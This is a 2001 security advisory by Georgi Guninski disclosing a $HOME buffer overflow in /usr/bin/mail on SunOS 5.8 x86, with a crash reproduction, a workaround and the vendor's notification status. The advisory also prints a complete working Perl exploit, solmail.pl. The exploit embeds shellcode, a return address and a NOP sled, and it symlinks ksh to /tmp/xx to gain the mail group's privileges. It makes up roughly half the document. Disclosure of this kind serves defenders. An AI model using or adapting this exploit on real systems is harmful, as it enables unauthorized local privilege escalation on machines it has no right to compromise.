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From: Georgi Guninski (guninskiguninski.com)
Date: Mon Jun 04 2001 - 10:14:30 CDT

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    Georgi Guninski security advisory #46, 2001

    $HOME buffer overflow in SunOS 5.8 x86

    Systems affected:
    SunOS 5.8 x86 have not tested on other OSes

    Risk: Medium
    Date: 4 June 2001

    Legal Notice:
    This Advisory is Copyright (c) 2001 Georgi Guninski.
    You may distribute it unmodified.
    You may not modify it and distribute it or distribute parts
    of it without the author's written permission.

    Disclaimer:
    The information in this advisory is believed to be true based on
    experiments though it may be false.
    The opinions expressed in this advisory and program are my own and
    not of any company. The usual standard disclaimer applies,
    especially the fact that Georgi Guninski is not liable for any damages
    caused by direct or indirect use of the information or functionality
    provided by this advisory or program. Georgi Guninski bears no
    responsibility for content or misuse of this advisory or program or
    any derivatives thereof.

    Description:

    There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
    leading to egid=mail.

    Details:
    HOME=`perl -e 'print "A"x1100'` ; export HOME
    mail a
    CTL-C

    eip gets smashed with 0x41414141.

    Exploit:
    -------------solmail.pl----------------------
    #!/usr/bin/perl
    # /usr/bin/mail exploit by Georgi Guninski
    use Env qw($HOME);
    #shell code taken from Pablo Sor's mailx exploit
    $shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
    $shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
    $shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
    $shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
    $shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
    $shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
    $shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
    $shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
    $shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
    $shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
    $RET = "\xa0\x6f\x04\x08" ; #may need to change this
    $OVER=1032;
    $ALL=1200;
    $buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
    system("/bin/ln -s /bin/ksh /tmp/xx");
    print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx exploit.\nPress
    CTL-C\n";
    $ENV{HOME}=$buf;
    exec "/usr/bin/mail","A";
    ---------------------------------------------

    Workaround:
    chmod -s /usr/bin/mail

    Vendor status:
    Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.

    Regards,
    Georgi Guninski
    http://www.guninski.com